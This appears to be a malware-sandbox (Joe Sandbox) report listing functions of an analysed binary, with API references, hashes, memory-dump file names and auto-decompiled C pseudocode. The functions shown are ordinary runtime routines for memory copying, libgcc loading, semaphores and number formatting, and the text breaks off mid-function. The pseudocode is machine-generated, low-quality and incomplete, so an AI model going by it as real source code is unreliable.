Instruction ID: ee667be87aa4b77ebd8547281b480c1b0ef1ce1ff5717eaf2ce5ae5caeabe235
Opcode Fuzzy Hash: 0a2d339336b66f32abd8a366141ada8dca363f0ab98bab8729bdfc993bf9037e
Instruction Fuzzy Hash: C7817FB5A056108FCB00EF69D58465EFBF5FF49314F0189AEE8449B312C774E809CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0043CAD0 Relevance: 10.6, APIs: 7, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0043CAE9
memcpy.MSVCRT ref: 0043CB0D
malloc.MSVCRT ref: 0043CB27
memset.MSVCRT ref: 0043CB55
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: abort$malloc$memcpymemset
String ID:
API String ID: 334492700-0
Opcode ID: cbf9982ef93a28a5fabaa01d23298dac368100273d6ef45c5c94fb7641271ee6
Instruction ID: ce8d94f2e7b2d30b812154be041f1a798be2476ceb5d84e3538b8393a0c7353a
Opcode Fuzzy Hash: cbf9982ef93a28a5fabaa01d23298dac368100273d6ef45c5c94fb7641271ee6
Instruction Fuzzy Hash: 9E11CE716086059FE700EF69E88145AFBE8EF443A8F46883FE848C7301E738E8058B65

Uniqueness

Uniqueness Score: -1.00%

Function 004B3310 Relevance: 10.2, APIs: 8, Instructions: 232COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 004B33B1
memcpy.MSVCRT ref: 004B33D9
memmove.MSVCRT ref: 004B3433
memmove.MSVCRT ref: 004B346A
memcpy.MSVCRT ref: 004B34C2

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: memmove$memcpy
String ID:
API String ID: 3033661859-0
Opcode ID: d9c9bf0278c33470b057a3aa9bab2218857d853a011266a9e4afcbb1ffa1a988
Instruction ID: a2a43b2adb856ca6fefb65ef4deac3f5ad49640c6e734e92c58f6a89d993eb48
Opcode Fuzzy Hash: d9c9bf0278c33470b057a3aa9bab2218857d853a011266a9e4afcbb1ffa1a988
Instruction Fuzzy Hash: C2911674609315DBC724DF2AC18046EBBE1AF89705F14882EF98587310E735EA85DB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004B0590 Relevance: 10.2, APIs: 8, Instructions: 214COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 004B0636
memcpy.MSVCRT ref: 004B065B
memmove.MSVCRT ref: 004B06AD
memmove.MSVCRT ref: 004B06E3
memcpy.MSVCRT ref: 004B072E

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: memmove$memcpy
String ID:
API String ID: 3033661859-0
Opcode ID: 00521b894b50afb869488265f6a6cdc6a41ef0d888a0e041475783a31b353334
Instruction ID: cf8b309db9d177ab3d8b0aa7e6bef853bf50941217c40ba57068d160408609cf
Opcode Fuzzy Hash: 00521b894b50afb869488265f6a6cdc6a41ef0d888a0e041475783a31b353334
Instruction Fuzzy Hash: A0811274A083948FC311DF28C0805ABFBE1BFC9745F14896EE4C997311D678E9859BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0043B0B0 Relevance: 9.1, APIs: 6, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E0043B0B0(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, char _a4) {
				intOrPtr _v0;
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v80;
				intOrPtr _v84;
				char _v156;
				char _v284;
				char _v288;
				intOrPtr _v312;
				char* _v356;
				void* _t32;
				void* _t34;
				struct HINSTANCE__* _t35;
				struct HINSTANCE__* _t38;
				_Unknown_base(*)()* _t39;
				void* _t42;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t59;
				intOrPtr _t61;
				void* _t66;
				void* _t71;
				intOrPtr _t72;
				_Unknown_base(*)()* _t73;
				void* _t77;
				void* _t81;
				intOrPtr* _t83;
				char** _t84;
				char** _t85;
				struct HINSTANCE__** _t87;
				struct HINSTANCE__** _t88;

				_t77 = _t81;
				_t71 =  &_v284;
				_t46 =  &_v156;
				_push(__edx);
				_push(__eax);
				E0043A660( &_v284, _v0,  &_a4);
				_t59 = _t46;
				_t32 = memcpy(_t46, _t71, 0x20 << 2);
				_t83 = _t81 - 0x124 + 0xc;
				_t66 = _t71 + 0x40;
				_t9 = _t32 + 0xc; // 0x90909090
				_t72 =  *_t9;
				if(_t72 != 0) {
					_t34 = E0043A990(_a4,  &_v288, _t59);
				} else {
					__eax = E0043A8C0(__eax, __ecx, __edx);
				}
				if(_t34 != 7) {
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					_push(_t77);
					_push(_t66);
					_push(_t72);
					_t84 = _t83 - 0x1c;
					 *_t84 = "libgcc_s_dw2-1.dll";
					_t35 = GetModuleHandleA(_t46);
					_t85 = _t84 - 4;
					if(_t35 == 0) {
						 *0x4ce004 = 0x43c7d0;
						_t73 = 0x43c580;
					} else {
						_t48 = _t35;
						 *_t85 = "libgcc_s_dw2-1.dll";
						_t38 = LoadLibraryA(??);
						_t87 = _t85 - 4;
						 *0x57ddf0 = _t38;
						_v356 = "__register_frame_info";
						 *_t87 = _t48;
						_t39 = GetProcAddress(??, ??);
						_t88 = _t87 - 8;
						_t73 = _t39;
						_v356 = "__deregister_frame_info";
						 *_t88 = _t48;
						 *0x4ce004 = GetProcAddress(??, ??);
						_t85 = _t88 - 8;
					}
					if(_t73 != 0) {
						_v356 = 0x57d01c;
						 *_t85 = 0x5400f8;
						 *_t73();
					}
					 *_t85 = E00401590;
					return E004014C0();
				} else {
					_t42 = E0043AAC0( &_v284, _t46);
					_t61 = _v80;
					_v312 = _t61;
					 *_t83 = _v84;
					 *((intOrPtr*)(_t77 + E0043AEA0(_t42) + 4)) = _t61;
					return _v24;
				}
			}

0x0043b0b1
0x0043b0b5
0x0043b0bc
0x0043b0c2
0x0043b0c8
0x0043b0d8
0x0043b0e5
0x0043b0e7
0x0043b0e7
0x0043b0e7
0x0043b0ef
0x0043b0ef
0x0043b0f4
0x0043b145
0x0043b0f6
0x0043b0f6
0x0043b0f6
0x0043b0fe
0x004c5e8e
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x0043b104
0x0043b10c
0x0043b111
0x0043b117
0x0043b11b
0x0043b125
0x0043b141
0x0043b141

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e06e255c70956b6c13ac4053298b0cb7bbce95fa53f25e41bcf6503f72095377
Instruction ID: 4139822a8f19cd5f22705356c74f0f517f84c2c15412881ab261e2cd97e70528
Opcode Fuzzy Hash: e06e255c70956b6c13ac4053298b0cb7bbce95fa53f25e41bcf6503f72095377
Instruction Fuzzy Hash: 0111AC3190012C9BCB14EFA5C4829DEB7B5EF89314F11C86EED0967301DB34AE468AA6

Uniqueness

Uniqueness Score: -1.00%

Function 00490BC0 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00490BDD
_errno.MSVCRT ref: 00490BE1
_errno.MSVCRT ref: 00490BF0
fflush.MSVCRT ref: 00490BFA
_errno.MSVCRT ref: 00490C03

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: _errno$fflush
String ID:
API String ID: 3480992530-0
Opcode ID: 4bc6ccb5c4460b30a1716f1d56b02ce52b97f98cb33509832ce02b8d0494c3be
Instruction ID: c4738076e2a5a2bbb45b34fac13b980f4f1583d587993cf2304e0282966d0fbd
Opcode Fuzzy Hash: 4bc6ccb5c4460b30a1716f1d56b02ce52b97f98cb33509832ce02b8d0494c3be
Instruction Fuzzy Hash: BEF062726442148FDB117F6EAC40617FBD8EFA1764F0600BBE904CB322D675A8558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 0043C820 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E0043C820() {
				void* __edi;
				void* __ebp;
				long _t27;
				long _t36;
				long _t37;
				void* _t46;
				long _t54;
				long _t55;
				long _t56;
				long _t57;
				long _t59;
				signed int _t61;
				signed int _t62;
				long* _t66;
				long _t68;
				long _t69;
				void* _t74;
				intOrPtr* _t76;
				long _t77;
				long _t78;
				long _t80;
				long _t81;
				long _t82;
				void* _t83;
				intOrPtr* _t84;
				long _t88;

				_t84 = _t83 - 0x2c;
				_t27 =  *0x528234; // 0x2
				_t61 =  *((intOrPtr*)(_t84 + 0x40));
				_t76 =  *((intOrPtr*)(_t84 + 0x44));
				if(_t27 != 0) {
					_t56 =  *0x528240; // 0x1
					_t88 = _t56;
					if(_t88 == 0) {
						asm("lock add dword [0x528244], 0x1");
						if(__eflags != 0) {
							_t57 =  *0x528240; // 0x1
							__eflags = _t57;
							if(_t57 == 0) {
								do {
									 *_t84 = 0;
									Sleep(??);
									_t82 =  *0x528240; // 0x1
									_t84 = _t84 - 4;
									__eflags = _t82;
								} while (_t82 == 0);
							}
						} else {
							E0043B420();
							 *0x528240 = 1;
						}
						_t68 =  *0x528234; // 0x2
						__eflags = _t68;
						if(_t68 != 0) {
							goto L2;
						}
					} else {
						L2:
						asm("lock add dword [0x57d40c], 0x1");
						if(_t88 != 0) {
							 *(_t84 + 4) = 0xffffffff;
							 *_t84 =  *0x57d410;
							_t59 = WaitForSingleObject(??, ??);
							_t84 = _t84 - 8;
							__eflags = _t59;
							if(_t59 != 0) {
								asm("lock sub dword [0x57d40c], 0x1");
							}
						}
					}
				}
				_t80 =  *0x57d414;
				if(_t80 == 0) {
					goto L8;
				} else {
					if(_t61 <  *_t80) {
						while(1) {
							_t81 =  *(_t80 + 0x14);
							__eflags = _t81;
							if(_t81 == 0) {
								goto L8;
							}
							__eflags =  *_t81 - _t61;
							if( *_t81 <= _t61) {
								goto L24;
							} else {
								continue;
							}
							goto L42;
						}
						goto L8;
					} else {
						L24:
						_t54 = E0043BBA0(_t81, _t61, _t76);
						_t78 = _t54;
						if(_t54 == 0) {
							while(1) {
								L8:
								_t81 =  *0x57d418;
								__eflags = _t81;
								if(_t81 == 0) {
									break;
								}
								 *0x57d418 =  *(_t81 + 0x14);
								_t78 = E0043BBA0(_t81, _t61, _t76);
								_t36 =  *0x57d414;
								__eflags = _t36;
								if(_t36 == 0) {
									L19:
									 *(_t81 + 0x14) = _t36;
									 *0x57d414 = _t81;
									__eflags = _t78;
									if(_t78 == 0) {
										continue;
									} else {
										goto L15;
									}
								} else {
									_t74 =  *_t81;
									__eflags = _t74 -  *_t36;
									if(_t74 <=  *_t36) {
										while(1) {
											_t66 = _t36 + 0x14;
											_t36 =  *(_t36 + 0x14);
											__eflags = _t36;
											if(_t36 == 0) {
												break;
											}
											__eflags =  *_t36 - _t74;
											if( *_t36 >= _t74) {
												continue;
											}
											break;
										}
										 *(_t81 + 0x14) = _t36;
										 *_t66 = _t81;
										__eflags = _t78;
										if(_t78 == 0) {
											continue;
										} else {
											L15:
											_t37 =  *0x528234; // 0x2
											__eflags = _t37;
											if(_t37 != 0) {
												goto L22;
											}
											goto L16;
										}
									} else {
										goto L19;
									}
								}
								goto L42;
							}
							_t69 =  *0x528234; // 0x2
							__eflags = _t69;
							if(_t69 != 0) {
								asm("lock xadd [0x57d40c], eax");
								__eflags = 0xfffffffffffffffe;
								if(0xfffffffffffffffe < 0) {
									goto L28;
								} else {
									 *((intOrPtr*)(_t84 + 8)) = 0;
									_t77 = 0;
									 *(_t84 + 4) = 1;
									 *_t84 =  *0x57d410;
									ReleaseSemaphore(??, ??, ??);
									_t84 = _t84 - 0xc;
								}
							} else {
								L28:
								_t77 = 0;
								__eflags = 0;
							}
							return _t77;
						} else {
							_t55 =  *0x528234; // 0x2
							if(_t55 != 0) {
								L22:
								asm("lock xadd [0x57d40c], eax");
								if(0xfffffffffffffffe >= 0) {
									 *((intOrPtr*)(_t84 + 8)) = 0;
									 *(_t84 + 4) = 1;
									 *_t84 =  *0x57d410;
									ReleaseSemaphore(??, ??, ??);
									_t84 = _t84 - 0xc;
								}
							}
							L16:
							 *_t76 =  *((intOrPtr*)(_t81 + 4));
							 *((intOrPtr*)(_t76 + 4)) =  *((intOrPtr*)(_t81 + 8));
							if(( *(_t81 + 0x10) & 0x00000004) != 0) {
								_t20 = _t78 + 4; // 0x4
								_t62 = E0043B6A0(_t20 -  *((intOrPtr*)(_t78 + 4))) & 0x000000ff;
							} else {
								_t62 = ( *(_t81 + 0x10) & 0x0000ffff) >> 0x00000003 & 0x000000ff;
							}
							_t46 = E0043B4B0(_t62, _t81);
							_t16 = _t78 + 8; // 0x8
							 *_t84 = _t84 + 0x1c;
							E0043B4F0(_t62, _t16, _t46);
							 *((intOrPtr*)(_t76 + 8)) =  *((intOrPtr*)(_t84 + 0x1c));
							return _t78;
						}
					}
				}
				L42:
			}

0x0043c824
0x0043c827
0x0043c82c
0x0043c830
0x0043c836
0x0043c838
0x0043c83d
0x0043c83f
0x0043c9bc
0x0043c9c4
0x0043ca1e
0x0043ca29
0x0043ca2b
0x0043ca30
0x0043ca30
0x0043ca37
0x0043ca39
0x0043ca3f
0x0043ca42
0x0043ca42
0x0043ca46
0x0043c9c6
0x0043c9c6
0x0043c9cb
0x0043c9cb
0x0043c9d5
0x0043c9db
0x0043c9dd
0x00000000
0x0043c9e3
0x0043c845
0x0043c845
0x0043c845
0x0043c84d
0x0043c9f5
0x0043c9fd
0x0043ca00
0x0043ca06
0x0043ca09
0x0043ca0b
0x0043ca11
0x0043ca11
0x0043ca0b
0x0043c84d
0x0043c83f
0x0043c853
0x0043c85b
0x00000000
0x0043c85d
0x0043c860
0x0043c879
0x0043c879
0x0043c87c
0x0043c87e
0x00000000
0x00000000
0x0043c870
0x0043c873
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c873
0x00000000
0x0043c862
0x0043c980
0x0043c984
0x0043c989
0x0043c98d
0x0043c880
0x0043c880
0x0043c880
0x0043c886
0x0043c888
0x00000000
0x00000000
0x0043c893
0x0043c89f
0x0043c8a1
0x0043c8a6
0x0043c8a8
0x0043c920
0x0043c925
0x0043c928
0x0043c92a
0x0043c92c
0x00000000
0x0043c932
0x00000000
0x0043c932
0x0043c8aa
0x0043c8aa
0x0043c8ad
0x0043c8af
0x0043c8b7
0x0043c8b7
0x0043c8ba
0x0043c8bd
0x0043c8bf
0x00000000
0x00000000
0x0043c8b3
0x0043c8b5
0x00000000
0x00000000
0x00000000
0x0043c8b5
0x0043c8c1
0x0043c8c4
0x0043c8c6
0x0043c8c8
0x00000000
0x0043c8ca
0x0043c8ca
0x0043c8ca
0x0043c8cf
0x0043c8d1
0x00000000
0x00000000
0x00000000
0x0043c8d1
0x0043c8b1
0x00000000
0x0043c8b1
0x0043c8af
0x00000000
0x0043c8a8
0x0043c9a2
0x0043c9a8
0x0043c9aa
0x0043ca4d
0x0043ca55
0x0043ca58
0x00000000
0x0043ca5e
0x0043ca63
0x0043ca6b
0x0043ca6d
0x0043ca75
0x0043ca78
0x0043ca7e
0x0043ca7e
0x0043c9b0
0x0043c9b0
0x0043c9b0
0x0043c9b0
0x0043c9b0
0x0043c9bb
0x0043c993
0x0043c993
0x0043c99a
0x0043c944
0x0043c949
0x0043c954
0x0043c95f
0x0043c967
0x0043c96f
0x0043c972
0x0043c978
0x0043c978
0x0043c954
0x0043c8d3
0x0043c8d6
0x0043c8db
0x0043c8e2
0x0043c934
0x0043c93f
0x0043c8e4
0x0043c8ec
0x0043c8ec
0x0043c8f3
0x0043c8fc
0x0043c8ff
0x0043c906
0x0043c90f
0x0043c91b
0x0043c91b
0x0043c98d
0x0043c860
0x00000000

APIs

ReleaseSemaphore.KERNEL32 ref: 0043C972
WaitForSingleObject.KERNEL32 ref: 0043CA00

Strings

L;L, xrefs: 0043C822

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: ObjectReleaseSemaphoreSingleWait
String ID: L;L
API String ID: 772398627-3306770229
Opcode ID: 59520ef25fb9ac26f01a9a9474b622688277b381ba9b991dcf149287a13dc788
Instruction ID: 850d4b6be3d24e013e0e9c50bb1a3f30e53be6853398497fb42f0d4b3889b4b9
Opcode Fuzzy Hash: 59520ef25fb9ac26f01a9a9474b622688277b381ba9b991dcf149287a13dc788
Instruction Fuzzy Hash: 7351CE70A01305CBCB24EF79E98432777F4FF18315F11912AE84897350EB78E849ABA6

Uniqueness

Uniqueness Score: -1.00%

Function 00475F30 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 315
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00475F30(intOrPtr __ecx, void* __eflags, intOrPtr* _a4, intOrPtr _a8, void* _a12, char _a16, void* _a20, void* _a24) {
				void* _v16;
				char _v44;
				char _v48;
				int _v52;
				void* _v53;
				void* _v64;
				intOrPtr* _v68;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				void* _v96;
				void* _v97;
				void* _v101;
				int* _v116;
				int _v120;
				int _v124;
				char* _v128;
				void* _v132;
				void* _v136;
				void* _v140;
				intOrPtr _t169;
				char _t175;
				int _t177;
				signed int _t178;
				signed int _t183;
				intOrPtr _t186;
				intOrPtr _t197;
				signed int _t207;
				intOrPtr _t209;
				void* _t214;
				intOrPtr _t215;
				signed int _t216;
				intOrPtr* _t221;
				char _t232;
				char _t235;
				int _t238;
				char _t245;
				int _t250;
				void* _t251;
				int _t252;
				int _t253;
				intOrPtr _t254;
				signed int _t255;
				signed int _t256;
				void* _t267;
				signed int _t268;
				intOrPtr _t269;
				char* _t277;
				void* _t288;
				signed int _t290;
				void* _t295;
				int _t296;
				void* _t298;
				void* _t299;
				void* _t300;
				intOrPtr* _t301;
				void* _t302;
				void* _t303;
				void* _t305;

				_v88 = __ecx;
				_v68 = _a4;
				_v76 = _a24;
				_v84 = _a8;
				_v92 = _a16;
				_t286 = _a12 + 0x6c;
				_v140 = _a12 + 0x6c;
				_v80 = E0044E1C0(__eflags);
				_t301 = _t300 - 4;
				_t250 =  <  ? 6 :  *((intOrPtr*)(_a12 + 4));
				_v136 = _a20;
				_t295 =  &_v44;
				 *_t301 = _a12;
				_v140 = _t295;
				E0048DE20();
				_t169 = _a12;
				_t302 = _t301 - E004386A0(0x40);
				_v64 =  &_v101 & 0xfffffff0;
				_t308 = ( *(_t169 + 0xc) & 0x00000104) - 0x104;
				if(( *(_t169 + 0xc) & 0x00000104) == 0x104) {
					_t175 = E004AF100();
					_t251 =  &_v48;
					_v128 = _t295;
					_v48 = _t175;
					_v132 = 0x2d;
					_v136 = _v64;
					_v140 = _t251;
					_v124 = _v76;
					_t177 = E004BDE30(_v64, __eflags);
					_v52 = _t177;
					__eflags = _t177 - 0x2c;
					if(__eflags > 0) {
						_t129 = _t177 + 1; // 0x1
						_v96 = _t129;
						_t302 = _t302 - E004386A0(_t177 + 0x1c >> 4 << 4);
						_v64 =  &_v97 & 0xfffffff0;
						_t232 = E004AF100();
						_v128 = _t295;
						_v48 = _t232;
						_v132 = _v96;
						_v136 = _v64;
						_v140 = _t251;
						_v124 = _v76;
						_v52 = E004BDE30(_v64, __eflags);
					}
				} else {
					_t235 = E004AF100();
					_v124 = _t250;
					_v48 = _t235;
					_v128 = _t295;
					_v136 = _v64;
					_v132 = 0x2d;
					_v140 =  &_v48;
					_v120 = _v76;
					_t238 = E004BDE30( &_v48, _t308);
					_v52 = _t238;
					_t309 = _t238 - 0x2c;
					if(_t238 > 0x2c) {
						_t64 = _t238 + 1; // 0x1
						_v96 = _t64;
						_t302 = _t302 - E004386A0(_t238 + 0x1c >> 4 << 4);
						_v64 =  &_v97 & 0xfffffff0;
						_t245 = E004AF100();
						_v124 = _t250;
						_v48 = _t245;
						_v128 = _t295;
						_v136 = _v64;
						_v132 = _v96;
						_v140 =  &_v48;
						_v120 = _v76;
						_v52 = E004BDE30( &_v48, __eflags);
					}
				}
				_t178 = E004C0920(_t309, _t286);
				_t252 = _v52;
				_t274 = _t178;
				_t296 = _t252;
				_t303 = _t302 - E004386A0(_t252 + 0x1b >> 4 << 4);
				_t183 =  *(_t274 + 0x1c) & 0x000000ff;
				_t288 =  &_v97 & 0xfffffff0;
				_v76 = _t288;
				if(_t183 == 1) {
					memcpy(_t288, _v64, _t252);
					goto L6;
				} else {
					if(_t183 == 0) {
						_v96 = _t274;
						E00451A70(_t274);
						_t274 = _v96;
						_t221 =  *((intOrPtr*)( *_v96 + 0x1c));
						__eflags = _t221 - 0x451cf0;
						if(_t221 == 0x451cf0) {
							L5:
							memcpy(_t288, _v64, _t252);
							_t252 = _v52;
							_t296 = _t252;
							L6:
							if(_t252 == 0) {
								_t186 = _v80;
								__eflags =  *((char*)(_t186 + 0x10));
								if( *((char*)(_t186 + 0x10)) == 0) {
									L9:
									_t253 =  *(_a12 + 8);
									if(_t253 > _t296) {
										L19:
										_t303 = _t303 - E004386A0(_t253 + 0x1b >> 4 << 4);
										_v120 = _t296;
										_t296 = _t253;
										_v128 = _v76;
										_t290 =  &_v97 & 0xfffffff0;
										_v124 = _t253;
										_v136 = _v92;
										_v132 = _t290;
										_v140 = _a12;
										E004AC250();
										_v52 = _t253;
										_v76 = _t290;
									}
									L10:
									 *(_a12 + 8) = 0;
									_t197 = _v84;
									_t254 = _t197;
									if(_t197 == 0) {
										_v136 = _t296;
										_v140 = _v76;
										 *((intOrPtr*)( *_v68 + 0x30))();
										_t254 =  !=  ? 1 : _t254;
									}
									return _v68;
								}
								L15:
								_t277 = 0;
								__eflags = 0;
								L16:
								_t305 = _t303 - E004386A0(_t252 + _t252 + 0x1b >> 4 << 4);
								_t207 =  &_v97 & 0xfffffff0;
								__eflags = ( *_v64 & 0x000000ff) - 0x0000002b & 0x000000fd;
								if((( *_v64 & 0x000000ff) - 0x0000002b & 0x000000fd) != 0) {
									_t255 = _t207;
									_t298 = 0;
								} else {
									_t256 = _t252 - 1;
									__eflags = _t256;
									_t298 = 1;
									_v76 = _t288 + 1;
									 *_t207 =  *_t288 & 0x000000ff;
									_v52 = _t256;
									_t255 = _t207 + 1;
								}
								_v64 = _t207;
								_v116 =  &_v52;
								_v120 = _v76;
								_t209 = _v80;
								_v124 = _t255;
								_v128 = _t277;
								_v132 =  *((char*)(_t209 + 0x25));
								_v136 =  *((intOrPtr*)(_t209 + 0xc));
								_v140 =  *((intOrPtr*)(_t209 + 8));
								E00475E70();
								_t296 = _t298 + _v52;
								_t303 = _t305 - 0x1c;
								_v52 = _t296;
								_v76 = _v64;
								_t253 =  *(_a12 + 8);
								__eflags = _t253 - _t296;
								if(_t253 <= _t296) {
									goto L10;
								} else {
									goto L19;
								}
							}
							_t214 = memchr(_v64, 0x2e, _t252);
							if(_t214 == 0) {
								_t215 = _v80;
								__eflags =  *((char*)(_t215 + 0x10));
								if( *((char*)(_t215 + 0x10)) == 0) {
									goto L9;
								}
								__eflags = _t252 - 2;
								if(_t252 <= 2) {
									goto L15;
								}
								_t267 = _v64;
								_t216 =  *(_t267 + 1) & 0x000000ff;
								__eflags = _t216 - 0x39;
								if(_t216 > 0x39) {
									goto L9;
								}
								_t268 =  *(_t267 + 2) & 0x000000ff;
								_v96 = _t268;
								__eflags = _t268 - 0x30 - 9;
